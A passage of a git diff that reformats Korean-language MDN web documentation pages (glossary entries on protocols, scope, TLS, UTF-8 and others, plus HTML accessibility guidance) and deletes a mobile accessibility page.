 
 // 배열 메소드는 배열을 변형함
 var foo = [];
-console.log(foo);        // []
+console.log(foo); // []
 foo.push("plugh");
-console.log(foo);        // ["plugh"]
+console.log(foo); // ["plugh"]
 
 // 할당은 원시 값에 새로운 값을 부여 (변형이 아님)
 bar = bar.toUpperCase(); // BAZ
@@ -45,21 +46,21 @@ let foo = 5;
 
 // 원시 값을 변경해야 하는 함수 정의
 function addTwo(num) {
-   num += 2;
+  num += 2;
 }
 // 같은 작업을 시도하는 다른 함수
 function addTwo_v2(foo) {
-   foo += 2;
+  foo += 2;
 }
 
 // 원시 값을 인수로 전달해 첫 번째 함수를 호출
 addTwo(foo);
 // 현재 원시 값 반환
-console.log(foo);   // 5
+console.log(foo); // 5
 
 // 두 번째 함수로 다시 시도
 addTwo_v2(foo);
-console.log(foo);   // 5
+console.log(foo); // 5
 ```
 
 `5` 대신 `7` 일 것이라고 예상하였나요? 그렇다면, 이 코드의 실행 과정을 살펴보세요.
diff --git a/files/ko/glossary/protocol/index.md b/files/ko/glossary/protocol/index.md
index ea35ecac1ea966..4a01d3f7057e8a 100644
--- a/files/ko/glossary/protocol/index.md
+++ b/files/ko/glossary/protocol/index.md
@@ -2,6 +2,7 @@
 title: 프로토콜
 slug: Glossary/Protocol
 ---
+
 **프로토콜**은 컴퓨터 내부에서, 또는 컴퓨터 사이에서 데이터의 교환 방식을 정의하는 규칙 체계입니다. 기기 간 통신은 교환되는 데이터의 형식에 대해 상호 합의를 요구합니다. 이런 형식을 정의하는 규칙의 집합을 프로토콜이라고 합니다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/proxy_server/index.md b/files/ko/glossary/proxy_server/index.md
index 3b9208abfca3a0..5184039c23b67e 100644
--- a/files/ko/glossary/proxy_server/index.md
+++ b/files/ko/glossary/proxy_server/index.md
@@ -2,6 +2,7 @@
 title: 프록시 서버
 slug: Glossary/Proxy_server
 ---
+
 프록시 서버란 인터넷 상의 여러 네트워크들에 접속할 때 중계 역할을 해주는 프로그램 또는 컴퓨터를 말한다. 월드 와이드 웹(World Wide Web) 상의 컨텐츠에 쉽게 접근할 수 있도록 도와준다. 프록시는 리퀘스트를 가로챈 뒤(intercepts) 리스폰스를 돌려준다. 이렇게 가로챈 리퀘스트를 전달해줄 수도, 아닐 수도(예시. 캐시인 경우), 수정할 수도 있다(예시. 서로 다른 두 네트워크 간의 경계에서 헤더를 바꾸는 경우)
 
 프록시는 사용자의 로컬 컴퓨터에 존재할 수도 있고, 인터넷 상에서 사용자의 컴퓨터와 목표 서버 사이 그 어느 곳에든 존재할 수 있다. 일반적으로 크게 주로 2가지 종류의 프록시 서버가 존재한다.
diff --git a/files/ko/glossary/regular_expression/index.md b/files/ko/glossary/regular_expression/index.md
index 1d98d748bcc957..cb355b1813c361 100644
--- a/files/ko/glossary/regular_expression/index.md
+++ b/files/ko/glossary/regular_expression/index.md
@@ -2,6 +2,7 @@
 title: 정규식
 slug: Glossary/Regular_expression
 ---
+
 정규식(Regular expressions or _regex_)은 연속적인 문자들을 검색하는 제어방법입니다.
 
 정규식은 다양한 언어에서 구현되지만 펄 스크립트 언어에서 가장 잘 구현되어 있으며, 이는 PCRE (_Perl Compatible Regular Expression_)라고 불리는 자체 문법 체계를 구현했습니다. 웹상에서, {{glossary("JavaScript")}} 는{{jsxref("RegExp")}}를 통해 또다른 정규 표현식 문법을 제공합니다.
diff --git a/files/ko/glossary/response_header/index.md b/files/ko/glossary/response_header/index.md
index 54dbdb9405ee2d..aa73a5e18659d8 100644
--- a/files/ko/glossary/response_header/index.md
+++ b/files/ko/glossary/response_header/index.md
@@ -2,6 +2,7 @@
 title: 응답 헤더
 slug: Glossary/Response_header
 ---
+
 **응답 헤더**는 HTTP 응답에서 사용될 수 있는 {{glossary("header", "HTTP 헤더")}}이며, 메시지의 컨텐츠와는 관련이 없습니다. {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} 또는 {{HTTPHeader("Server")}}와 같은 응답 헤더는 더 상세한 응답의 컨텍스트를 제공하기위해 사용됩니다.
 
 응답에 나타나는 모든 헤더가 *응답 헤더*인것은 아닙니다. 예를 들어, {{HTTPHeader("Content-Length")}} 헤더는 응답 메시지 바디의 크기를 참조하는 {{glossary("entity header")}}입니다. 그러나 이러한 엔티티 요청은 보통 컨텍스트에서 응답 헤더로 불립니다.
diff --git a/files/ko/glossary/rest/index.md b/files/ko/glossary/rest/index.md
index 0852759c06dc02..3f507c25f82a74 100644
--- a/files/ko/glossary/rest/index.md
+++ b/files/ko/glossary/rest/index.md
@@ -2,6 +2,7 @@
 title: REST
 slug: Glossary/REST
 ---
+
 **REST(**Representational State Transfer)는 효율적, 안정적이며 확장가능한 분산시스템을 가져올 수 있는소프트웨어 아키텍처 디자인 제약의 모음을 나타냅니다. 그리고 그 제약들을 준수했을 때 그 시스템은 RESTful하다고 일컬어집니다.
 
 REST의 기본 개념은 리소스입니다. 리소스의 예로는 잘 정의된 상태와 관계, 표준화된 작동방식과 형식을 가지고 전송되는 문서를 들 수 있습니다. 종종 타입이나 문서를 수정해야할 때, [APIs](/ko/docs/Glossary/API)혹은 그 서비스는 어디에선가 액션을 불러일으키지 않고 스스로 RESTful을 호출합니다.
diff --git a/files/ko/glossary/safe/http/index.md b/files/ko/glossary/safe/http/index.md
index 869ace8400c794..5b8fd29dc5ead0 100644
--- a/files/ko/glossary/safe/http/index.md
+++ b/files/ko/glossary/safe/http/index.md
@@ -2,6 +2,7 @@
 title: 안전함 (HTTP 메서드)
 slug: Glossary/Safe/HTTP
 ---
+
 HTTP 메서드가 서버의 상태를 바꾸지 않으면 그 메서드가 **안전**하다고 말합니다. 다른 말로 하면, 읽기
 작업만 수행하는 메서드는 안전합니다. 흔히 쓰이는 HTTP 메서드 중에서는 {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}},
 {{HTTPMethod("OPTIONS")}}가 안전합니다. 모든 안전한 메서드는 [멱등성](/ko/docs/Glossary/Idempotent) 또한
diff --git a/files/ko/glossary/safe/index.md b/files/ko/glossary/safe/index.md
index 89cb0ce25d9149..d7821de502f4f6 100644
--- a/files/ko/glossary/safe/index.md
+++ b/files/ko/glossary/safe/index.md
@@ -2,6 +2,7 @@
 title: 안전함
 slug: Glossary/Safe
 ---
+
 **안전함**은 맥락에 따라 여러가지를 의미할 수 있습니다. 아래의 용어를 가리키는 경우도 있습니다.
 
 {{GlossaryDisambiguation}}
diff --git a/files/ko/glossary/scope/index.md b/files/ko/glossary/scope/index.md
index 8df469d5a874b0..6ee97840172746 100644
--- a/files/ko/glossary/scope/index.md
+++ b/files/ko/glossary/scope/index.md
@@ -10,13 +10,13 @@ original_slug: Glossary/스코프
 
 ```js
 function exampleFunction() {
-    var x = "declared inside function";
-    // x는 오직 exampleFunction 내부에서만 사용 가능.
-    console.log("Inside function");
-    console.log(x);
+  var x = "declared inside function";
+  // x는 오직 exampleFunction 내부에서만 사용 가능.
+  console.log("Inside function");
+  console.log(x);
 }
 
-console.log(x);  // 에러 발생
+console.log(x); // 에러 발생
 ```
 
 그러나 다음과 같은 코드는 변수가 함수 외부의 전역에서 선언되었기 때문에 유효하다.
@@ -27,8 +27,8 @@ var x = "declared outside function";
 exampleFunction();
 
 function exampleFunction() {
-    console.log("Inside function");
-    console.log(x);
+  console.log("Inside function");
+  console.log(x);
 }
 
 console.log("Outside function");
diff --git a/files/ko/glossary/self-executing_anonymous_function/index.md b/files/ko/glossary/self-executing_anonymous_function/index.md
index 807c4d70afbafa..48d551c78475b5 100644
--- a/files/ko/glossary/self-executing_anonymous_function/index.md
+++ b/files/ko/glossary/self-executing_anonymous_function/index.md
@@ -2,6 +2,7 @@
 title: Self-Executing Anonymous Function
 slug: Glossary/Self-Executing_Anonymous_Function
 ---
+
 정의되자마자 실행되는 {{glossary("JavaScript")}} {{glossary("function")}}입니다. (a.k.a. {{glossary("IIFE")}} (즉시실행함수))
 
 링크된 즉시실행함수 페이지에서 더 많은 정보를 얻을 수 있습니다.
diff --git a/files/ko/glossary/semantics/index.md b/files/ko/glossary/semantics/index.md
index acf7ccfe3e6766..dbf9ec75febf18 100644
--- a/files/ko/glossary/semantics/index.md
+++ b/files/ko/glossary/semantics/index.md
@@ -2,6 +2,7 @@
 title: Semantics
 slug: Glossary/Semantics
 ---
+
 프로그래밍에서,**시맨틱**은 코드 조각의 *의미*를 나타냅니다 — 예를 들어 ("이게 어떻게 시각적으로 보여질까?" 보다)"이 Javascript 라인을 실행하는 것은 어떤 효과가 있는가?", 혹은 "이 HTML 엘리먼트가 가진 목적이나 역할은 무엇인가?"
 
 ## JavaScript 시맨틱
@@ -25,7 +26,9 @@ CSS의 경우입니다. 다양한 종류의 과일을 나타내기 위해서는
 반면에 모든 요소를 '최상위 제목'처럼 _보이게_ 할 수 있습니다. 다음을 고려하세요:
 
 ```html
-<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
+<span style="font-size: 32px; margin: 21px 0;"
+  >Is this a top level heading?</span
+>
 ```
 
 이렇게 하면 top level heading 처럼 보이지만 의미적 가치(semantic value)가 없으므로 위에서 설명한 것처럼 추가적인 이점은 얻을 수 없습니다. 따라서 작업에 적합한 HTML 요소를 사용하는 것이 좋습니다.
diff --git a/files/ko/glossary/seo/index.md b/files/ko/glossary/seo/index.md
index 91ce988245391c..c83092ed856fde 100644
--- a/files/ko/glossary/seo/index.md
+++ b/files/ko/glossary/seo/index.md
@@ -2,6 +2,7 @@
 title: SEO
 slug: Glossary/SEO
 ---
+
 **SEO**(검색 엔진 최적화)는 웹사이트가 검색 결과에 더 잘 보이도록 최적화하는 과정입니다. 검색 랭크 개선이라고도 합니다.
 
 검색 엔진은 웹을 {{Glossary("Crawler", "크롤링")}}하면서 페이지에서 페이지로 링크를 따라가고, 찾은 콘텐츠의 색인을 생성합니다. 검색 결과에 보이는 것은 바로 그 콘텐츠 색인입니다. 크롤러는 일정 규칙을 따르므로, SEO를 진행하며 해당 규칙을 밀접하게 따라가면 웹사이트가 검색 결과의 보다 높은 곳에 노출돼 (전자상거래와 광고라면) 수익으로 연결될 수도 있습니다.
diff --git a/files/ko/glossary/server/index.md b/files/ko/glossary/server/index.md
index 6ee76213459166..6be4f4d9cb1eee 100644
--- a/files/ko/glossary/server/index.md
+++ b/files/ko/glossary/server/index.md
@@ -2,6 +2,7 @@
 title: Server
 slug: Glossary/Server
 ---
+
 서버는 일반적으로 클라이언트라고 불리는 사용자에게 서비스를 제공하는 소프트웨어 또는 하드웨어이다. 하드웨어 서버는 네트워크의 공유 컴퓨터로서, 대개 강력하고 데이터 센터에 저장된다. 소프트웨어 서버(하드웨어 서버에서 자주 실행됨)는 클라이언트 프로그램에 서비스를 제공하는 프로그램 또는 사용자 클라이언트의 {{glossary("UI","user interface")}}을 말한다.
 
 서비스는 일반적으로 지역 네트워크 또는 인터넷과 같은 광역 네트워크를 통해 제공된다. 클라이언트 프로그램과 서버 프로그램은 전통적으로 {{glossary("API")}}을 사용하여 인코딩된 메시지를 {{glossary("protocol", "프로토콜")}}에 전달하여 연결한다.
diff --git a/files/ko/glossary/shim/index.md b/files/ko/glossary/shim/index.md
index fa5f6623acf905..718f1f9b48e9a2 100644
--- a/files/ko/glossary/shim/index.md
+++ b/files/ko/glossary/shim/index.md
@@ -2,6 +2,7 @@
 title: 심
 slug: Glossary/Shim
 ---
+
 **심shim**은 이미 존재하는 코드의 동작을 바로잡는 데 사용되는 코드 모음이며, 보통 문제를 야기시키는 신규 API에 대응한다. 시중에 배포된 브라우저에서 지원되지 않는 신규 API를 구현하는 폴리필({{Glossary("polyfill")}})과 대조된다.
 
 ## 더 많은 정보
diff --git a/files/ko/glossary/signature/function/index.md b/files/ko/glossary/signature/function/index.md
index d9e3066c2c094a..50b4a928e4bbb1 100644
--- a/files/ko/glossary/signature/function/index.md
+++ b/files/ko/glossary/signature/function/index.md
@@ -19,7 +19,7 @@ slug: Glossary/Signature/Function
 {{Glossary("JavaScript")}}는 _약한 타입_ 혹은 _동적_ 언어입니다. 이것은 여러분이 변수의 타입을 미리 선언하지 않아도 됨을 의미합니다. 타입은 프로그램이 실행되는 동안 자동으로 결정됩니다. 하지만 JavaScript에서의 시그니처는 여전히 여러분에게 메소드에 대한 몇 가지 정보를 제공해줄 수 있습니다:
 
 ```js
-MyObject.prototype.myFunction(value)
+MyObject.prototype.myFunction(value);
 ```
 
 - 메소드는 `MyObject`라 불리는 {{Glossary("object")}}에 장착되어 있습니다.
diff --git a/files/ko/glossary/smtp/index.md b/files/ko/glossary/smtp/index.md
index ae1ba9bd9cc136..7a4b824acb21a0 100644
--- a/files/ko/glossary/smtp/index.md
+++ b/files/ko/glossary/smtp/index.md
@@ -2,6 +2,7 @@
 title: SMTP
 slug: Glossary/SMTP
 ---
+
 **SMTP**(Simple Mail Transfer Protocol)는 새로운 이메일을 전송할 때 사용하는 {{glossary("protocol", "프로토콜")}}입니다. {{glossary("POP3")}}나 {{glossary("NNTP")}}처럼, SMTP도 {{glossary("state machine", "상태 기계")}} 기반 프로토콜입니다.
 
 SMTP는 상대적으로 직관적입니다. 복잡함을 유발하는 주요 원인은 다양한 인증 방법([GSSAPI](http://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface), [CRAM-MD5](http://en.wikipedia.org/wiki/CRAM-MD5), [NTLM](http://en.wikipedia.org/wiki/NTLM), MSN, AUTH LOGIN, AUTH PLAIN...) 지원, 오류 응답 처리, 인증 실패(서버에서 어떤 방법을 지원한다고 주장했으나 사실 아닐 때 등) 시 처리 등입니다.
diff --git a/files/ko/glossary/stacking_context/index.md b/files/ko/glossary/stacking_context/index.md
index 10ab9e27426485..1a9566e9fa5c4b 100644
--- a/files/ko/glossary/stacking_context/index.md
+++ b/files/ko/glossary/stacking_context/index.md
@@ -2,6 +2,7 @@
 title: 쌓임 맥락
 slug: Glossary/Stacking_context
 ---
+
 **쌓임 맥락**은 마치 책상 위의 카드를 옆으로 늘어놓거나 서로 겹치게 만들 수 있듯, 웹 페이지에서 어떤 요소가 위에 그려지는지 결정하는 방법입니다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/synchronous/index.md b/files/ko/glossary/synchronous/index.md
index 8d52142d297593..0b1c51c4113b00 100644
--- a/files/ko/glossary/synchronous/index.md
+++ b/files/ko/glossary/synchronous/index.md
@@ -13,5 +13,5 @@ l10n:
 
 ## 같이 보기
 
-- [비동기(Asynchronous)]({{glossary("Asynchronous")}})
+- [비동기(Asynchronous)](<{{glossary("Asynchronous")}}>)
 - [XMLHttpRequest()](/ko/docs/Web/API/XMLHttpRequest) {{glossary("API")}} 를 활용한 [동기, 비동기 요청](/ko/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests)
diff --git a/files/ko/glossary/tls/index.md b/files/ko/glossary/tls/index.md
index 294b5e2a66b595..1662f9a25bbd84 100644
--- a/files/ko/glossary/tls/index.md
+++ b/files/ko/glossary/tls/index.md
@@ -2,6 +2,7 @@
 title: 전송 계층 보안 (TLS)
 slug: Glossary/TLS
 ---
+
 이전에 {{Glossary("SSL", "Secure Sockets Layer (SSL)")}}로 알려진 **Transport Layer Security** (**TLS**)는 어플리케이션들이 네트워크 상에서 안전하게 통신하기 위해 사용된 {{Glossary("protocol")}}이며, 이메일, 웹 브라우징, 메세징, 그리고 다른 프로토코들의 감청을 통한 정보의 변형을 방지한다. SSL과 TLS 모두 네트워크 상에서 보안을 제공하는 cryptographic 프로토콜을 사용한 클라이언트 / 서버 프로토콜이다. 서버와 클라이언트가 TLS로 통신을 할때, 어떠한 제 3자도 메세지를 변형시키거나 감청할 수 없도록 한다.
 
 모든 모던 브라우저들을 TLS를 지원하고, 안전한 연결을 하기위해서 서버가 유효한 {{Glossary("Digital certificate", "digital certificate")}} 를 제공하기를 요구한다. 클라이언트와 서버 둘 다 각자 digital certificate을 제공하면, 서로를 인증해줄 수 있다.
diff --git a/files/ko/glossary/truthy/index.md b/files/ko/glossary/truthy/index.md
index 7caaf68daf5d12..2e91a57650e11f 100644
--- a/files/ko/glossary/truthy/index.md
+++ b/files/ko/glossary/truthy/index.md
@@ -2,6 +2,7 @@
 title: 참 같은 값
 slug: Glossary/Truthy
 ---
+
 {{Glossary("JavaScript")}}에서, **참 같은 값**(Truthy)인 값이란 {{Glossary("Boolean", "불리언")}}을 기대하는 문맥에서 `true`로 평가되는 값입니다. 따로 {{Glossary("Falsy", "거짓 같은 값")}}으로 정의된 값이 아니면 모두 참 같은 값으로 평가됩니다. (예: `false`, `0`, `-0`, `0n`, `""`, `null`, `undefined`와 `NaN` 등)
 
 JavaScript는 불리언 문맥에서 {{Glossary("Type_Conversion", "형 변환")}}을 사용합니다.
diff --git a/files/ko/glossary/undefined/index.md b/files/ko/glossary/undefined/index.md
index ba32bbc9c9320b..5379920d5d0f5a 100644
--- a/files/ko/glossary/undefined/index.md
+++ b/files/ko/glossary/undefined/index.md
@@ -10,7 +10,7 @@ slug: Glossary/Undefined
 ```js
 var x; // 값을 할당하지 않고 변수 선언
 
-console.log("x's value is", x) // "x's value is undefined" 출력
+console.log("x's value is", x); // "x's value is undefined" 출력
 ```
 
 ## 더 알아보기
diff --git a/files/ko/glossary/utf-8/index.md b/files/ko/glossary/utf-8/index.md
index 756a40c385d6a0..cccde794eaf6f1 100644
--- a/files/ko/glossary/utf-8/index.md
+++ b/files/ko/glossary/utf-8/index.md
@@ -2,6 +2,7 @@
 title: UTF-8
 slug: Glossary/UTF-8
 ---
+
 UTF-8(UCS Transformation Format 8)은 월드 와이드 웹의 가장 일반적인 {{Glossary("Character encoding", "문자 인코딩")}}이다. 각 문자는 1\~4바이트로 표시된다. UTF-8은 {{Glossary("ASCII")}}와 역호환되며 표준 유니코드 문자를 나타낼 수 있다.
 
 처음 128개의 UTF-8 문자는 처음 128개의 ASCII 문자(숫자 0-127)와 정확히 일치하며, 이는 기존 ASCII 텍스트가 이미 유효한 UTF-8임을 의미한다. 다른 모든 문자는 2 \~ 4바이트를 사용한다. 각각의 바이트는 인코딩 목적으로 남겨진 비트가 있다. 비 ASCII 문자가 저장을 위해 1 바이트 이상을 요구하기 때문에, 바이트가 분리되고 재결합되지 않은 상태로 실행하면 손상될 위험이 있다.
diff --git a/files/ko/glossary/variable/index.md b/files/ko/glossary/variable/index.md
index 9b10e1057758e9..bf1b5e04d6296d 100644
--- a/files/ko/glossary/variable/index.md
+++ b/files/ko/glossary/variable/index.md
@@ -2,6 +2,7 @@
 title: Variable
 slug: Glossary/Variable
 ---
+
 변수는 {{Glossary("Value", "값")}}을 저장하기 위해 명명된 위치이다. 이것을 사용하면 미리 정해진 이름을 통해 예측할 수 없는 값에 접근할 수 있다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/webextensions/index.md b/files/ko/glossary/webextensions/index.md
index c4acad2884596f..fa34bfbe837786 100644
--- a/files/ko/glossary/webextensions/index.md
+++ b/files/ko/glossary/webextensions/index.md
@@ -2,6 +2,7 @@
 title: WebExtensions
 slug: Glossary/WebExtensions
 ---
+
 WebExtensions은 Firefox에서 브라우저 Extension을 개발하기위한 크로스 브라우저 시스템입니다. 이 시스템은 Mozilla Firefox, Google Chrome, Opera Browser 및 Microsoft Edge와 같은 다양한 브라우저에서 지원되는 API를 제공합니다.
 
 ## Learn more
diff --git a/files/ko/glossary/whatwg/index.md b/files/ko/glossary/whatwg/index.md
index 9f0c9e3f035a4c..3f6878d01b2a6c 100644
--- a/files/ko/glossary/whatwg/index.md
+++ b/files/ko/glossary/whatwg/index.md
@@ -2,6 +2,7 @@
 title: WHATWG
 slug: Glossary/WHATWG
 ---
+
 **WHATWG**(Web Hypertext Application Technology Working Group)은 {{Glossary("DOM")}}, Fetch, {{Glossary("HTML")}} 등 웹 표준을 개발하고 유지하는 단체입니다. 2004년, Apple, Mozilla, Opera의 임직원이 설립했습니다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/world_wide_web/index.md b/files/ko/glossary/world_wide_web/index.md
index cbae01c6822e72..dbb5d914ae4589 100644
--- a/files/ko/glossary/world_wide_web/index.md
+++ b/files/ko/glossary/world_wide_web/index.md
@@ -2,6 +2,7 @@
 title: World Wide Web
 slug: Glossary/World_Wide_Web
 ---
+
 흔히 **WWW**, **W3**, **Web으로** 불리는 *World Wide Web*은 {{Glossary("Internet")}}을 통해 접근 가능한 공용 웹페이지의 상호연결 시스템이다. 웹은 인터넷과 다르며, 인터넷을 기반으로 한 수많은 응용 프로그램 중 하나이다.
 
 팀 버너스리가 제안한 구조를 바탕으로 훗날 World Wide Web으로 알려질 것이 만들어졌다. 그는 1990년에 CERN 물리학 연구소에서 자신의 컴퓨터에 최초의 웹 {{Glossary("Server","server")}}, 웹 {{Glossary("Browser","browser")}}, 웹페이지를 만들었다. 곧바로 alt.hypertext 뉴스 그룹에 이 소식을 알렸고, 이것이 웹이 세상에 공식적으로 모습을 드러낸 첫 순간이었다.
diff --git a/files/ko/glossary/xhtml/index.md b/files/ko/glossary/xhtml/index.md
index 4d89e493f4ef6b..d61876609d9a41 100644
--- a/files/ko/glossary/xhtml/index.md
+++ b/files/ko/glossary/xhtml/index.md
@@ -3,6 +3,7 @@ title: XHTML
 slug: Glossary/XHTML
 original_slug: XHTML
 ---
+
 [HTML](/ko/docs/HTML)은 HTML 또는 XHTML이라는 XML문법으로 브라우저를 통해 네트워크에 접속할 수 있습니다.
 
 ## HTML5 와 HTML/XHTML
diff --git a/files/ko/learn/accessibility/html/index.md b/files/ko/learn/accessibility/html/index.md
index 38c3bdea341c7b..d1c17f7ee8867b 100644
--- a/files/ko/learn/accessibility/html/index.md
+++ b/files/ko/learn/accessibility/html/index.md
@@ -67,7 +67,7 @@ HTML `<button>`은 적절한 스타일(아마 덮어쓰고 싶을지 모르지
 
 가끔은 당신이 형편없는 마크업을 제거할 수 없는 위치에 있을지도 모릅니다. 페이지가 전적으로 제어할 수 없는 서버 사이드 프레임워크에 의해 생성되었을 수 있거나, 광고 배너처럼 제어할 수 없는 외부 콘텐츠가 페이지에 포함되어 있을 수 있습니다.
 
-다만 목표는 “전부 또는 아무것도”가 아니라는 점을 생각하세요. 개선을 위한 노력 하나하나가 접근성 증진에 도움이 될 것입니다.
+다만 목표는 "전부 또는 아무것도"가 아니라는 점을 생각하세요. 개선을 위한 노력 하나하나가 접근성 증진에 도움이 될 것입니다.
 
 ### 문자 콘텐츠
 
@@ -369,7 +369,7 @@ document.onkeydown = (e) => {
 
 UI 컨트롤에서 텍스트 라벨은 모든 사용자에게 유용하지만, 이들의 올바른 사용은 장애가 있는 사용자들에게 특히 중요합니다.
 
-버튼과 링크의 텍스트 라벨이 이해하기 좋고 구별 가능하도록 해야합니다. 라벨에 “여기를 클릭하세요” 같은 문구만 사용하지 마세요. 스크린 리더 사용자들은 때때로 버튼과 폼 컨트롤 리스트를 만나기도 합니다. 다음 스크린샷은 Mac VoiceOver에서 우리의 컨트롤이 열거되는 방식을 보여줍니다.
+버튼과 링크의 텍스트 라벨이 이해하기 좋고 구별 가능하도록 해야합니다. 라벨에 "여기를 클릭하세요" 같은 문구만 사용하지 마세요. 스크린 리더 사용자들은 때때로 버튼과 폼 컨트롤 리스트를 만나기도 합니다. 다음 스크린샷은 Mac VoiceOver에서 우리의 컨트롤이 열거되는 방식을 보여줍니다.
 
 ![Mac VoiceOver 소프트웨어에서 열거하는 폼 인풋 라벨 목록. 이 목록에는 버튼, 텍스트 필드, 링크 등의 다양한 폼 컨트롤 요소에 적용된 'happy menu button` 같은 의미없는 라벨이 포함되어 있습니다.](voiceover-formcontrols.png)
 
@@ -399,7 +399,7 @@ UI 컨트롤에서 텍스트 라벨은 모든 사용자에게 유용하지만, 
 Fill in your name: <input type="text" id="name" name="name" />
 ```
 
-하지만 장애가 있는 사용자들에게는 그리 유용하지 않습니다. 위 예시는 볼 수 없는 사용자에게 폼의 인풋과 라벨을 명확하게 연관짓고 입력 영역을 어떻게 채워야 하는지 알려주는 어떤 것도 제공하지 않습니다. 스크린 리더로 이것을 읽는다면 “edit text”라는 설명 한 줄만 주어질 것입니다.
+하지만 장애가 있는 사용자들에게는 그리 유용하지 않습니다. 위 예시는 볼 수 없는 사용자에게 폼의 인풋과 라벨을 명확하게 연관짓고 입력 영역을 어떻게 채워야 하는지 알려주는 어떤 것도 제공하지 않습니다. 스크린 리더로 이것을 읽는다면 "edit text"라는 설명 한 줄만 주어질 것입니다.
 
 다음 예시가 훨씬 낫습니다.
 
@@ -410,7 +410,7 @@ Fill in your name: <input type="text" id="name" name="name" />
 </div>
 ```
 
-이 코드로는 라벨이 인풋과 명확하게 연관지어집니다. 스크린 리더 설명은 “Fill in your name: edit text”와 같을 것입니다.
+이 코드로는 라벨이 인풋과 명확하게 연관지어집니다. 스크린 리더 설명은 "Fill in your name: edit text"와 같을 것입니다.
 
 !['Fill in your name'으로 읽히는 좋은 폼 라벨이 주어진 텍스트 인풋 폼 컨트롤.](voiceover-good-form-label.png)
 
@@ -486,7 +486,7 @@ Fill in your name: <input type="text" id="name" name="name" />
 </p>
 ```
 
-첫번째 이미지는 스크린 리더로 봤을 때 사용자에게 별 도움을 주지 않습니다. 예를 들어 VoiceOver는 "/dinosaur.png, image”라고 읽어줍니다. 조금의 도움이라도 제공하기 위해 파일명을 읽어주는 것이죠. 이 예시에서는 유저가 적어도 어떤 종류의 공룡이라는 점을 알 수 있지만, 대부분의 경우 파일명은 기계(예를 들면 디지털 카메라)가 생성합니다. 아마 이미지 내용에 대한 어떤 맥락도 제공하지 않겠죠.
+첫번째 이미지는 스크린 리더로 봤을 때 사용자에게 별 도움을 주지 않습니다. 예를 들어 VoiceOver는 "/dinosaur.png, image"라고 읽어줍니다. 조금의 도움이라도 제공하기 위해 파일명을 읽어주는 것이죠. 이 예시에서는 유저가 적어도 어떤 종류의 공룡이라는 점을 알 수 있지만, 대부분의 경우 파일명은 기계(예를 들면 디지털 카메라)가 생성합니다. 아마 이미지 내용에 대한 어떤 맥락도 제공하지 않겠죠.
 
 > **참고:** 이것이 이미지 안에 텍스트 콘텐츠를 포함해서는 안되는 이유입니다. 스크린 리더는 그 정보에 접근할 수 없습니다. 다른 단점도 있습니다. 그것을 선택하거나 복사/붙여넣기 할 수 없습니다. 하지 말라면 하지마세요.
 
@@ -548,7 +548,7 @@ HTML에는 {{htmlelement("figure")}}와 어떤 종류(이미지 외에 어떤 
 </h3>
 ```
 
-페이지 디자인에 포함되어 있는 이미지가 시각적인 장식의 목적만을 가지는 경우가 있습니다. 위 코드 예시에서는 이미지의 `alt` 속성이 비어있는 것을 볼 수 있는데, 이는 스크린 리더가 이미지를 인식해도 설명을 시도하지 않게 하기 위함입니다. “이미지” 같은 것을 말하기보다요.
+페이지 디자인에 포함되어 있는 이미지가 시각적인 장식의 목적만을 가지는 경우가 있습니다. 위 코드 예시에서는 이미지의 `alt` 속성이 비어있는 것을 볼 수 있는데, 이는 스크린 리더가 이미지를 인식해도 설명을 시도하지 않게 하기 위함입니다. "이미지" 같은 것을 말하기보다요.
 
 `alt` 속성을 아예 사용하지 않는 대신 빈 문자열을 넣는 것은 많은 스크린 리더가 `alt` 속성이 없는 경우 이미지 URL 자체를 알려주기 때문입니다. 위 예시의 이미지는 관련된 머릿말을 시각적으로 꾸미는 역할을 합니다. 이런 경우, 또는 정말로 의미있는 내용 없이 장식 요소인 경우 `img` 요소에 빈 `alt` 속성을 추가해야 합니다. 또 다른 방법으로는 aria [`role`](/ko/docs/Web/Accessibility/ARIA/Roles) 속성을 활용해 [`role="presentation"`](/ko/docs/Web/Accessibility/ARIA/Roles/presentation_role) 설정을 할 수 있습니다. 이 역시 스크린 리더가 대체 텍스트를 읽지 않도록 합니다.
 
diff --git a/files/ko/learn/accessibility/mobile/index.md b/files/ko/learn/accessibility/mobile/index.md
deleted file mode 100644
index cbfc471130b530..00000000000000
--- a/files/ko/learn/accessibility/mobile/index.md
+++ /dev/null
@@ -1,278 +0,0 @@
----
-title: 모바일 접근성
-slug: Learn/Accessibility/Mobile
-original_slug: Learn/접근성/모바일
----
-
-{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}
-
-모바일 기기에서 웹 접근이 매우 자주 발생하고 iOS와 안드로이드와 같은 유명 플랫폼들은 전문적인 접근성 점검도구들이 있기 때문에 웹콘텐츠의 접근성을 고려하는 것이 더욱 중요하다. 여기서는 모바일환경을 중심으로 접근성 고려사항을 살펴본다.
-
-<table class="learn-box standard-table">
-  <tbody>
-    <tr>
-      <th scope="row">사전지식:</th>
-      <td>
-        <p>
-          기본적인 컴퓨터 사용능력, HTML, CSS, JavaScript에 대한 기본적인 이해,
-          그리고
-          <a href="/ko/docs/Learn/Accessibility">이전 내용들에 대한 이해</a>.
-        </p>
-      </td>
-    </tr>
-    <tr>
-      <th scope="row">목표:</th>
-      <td>
-        <p>
-          모바일 기기의 접근성에 어떤 문제가 있는지, 그리고 이를 극복하는 방법을
-          이해한다.
-        </p>
-      </td>
-    </tr>
-  </tbody>
-</table>
-
-## 모바일 장치에서의 접근성
-
-접근성 상태(일반적으로 웹 표준에 대한 지원)는 최근의 모바일 장치에서 좋다. 모바일 기기가 데스크톱 브라우저에 전혀 다른 웹 기술을 실행하면서 개발자들이 브라우저 코웃음을 치며 완전히 별개의 사이트에 서비스를 제공하도록 강요하던 시대는 이미 오래 전에 지났다(아직도 상당수의 회사가 모바일 장치의 사용을 감지하여 별도의 모바일 도메인을 서비스하고 있다).
-
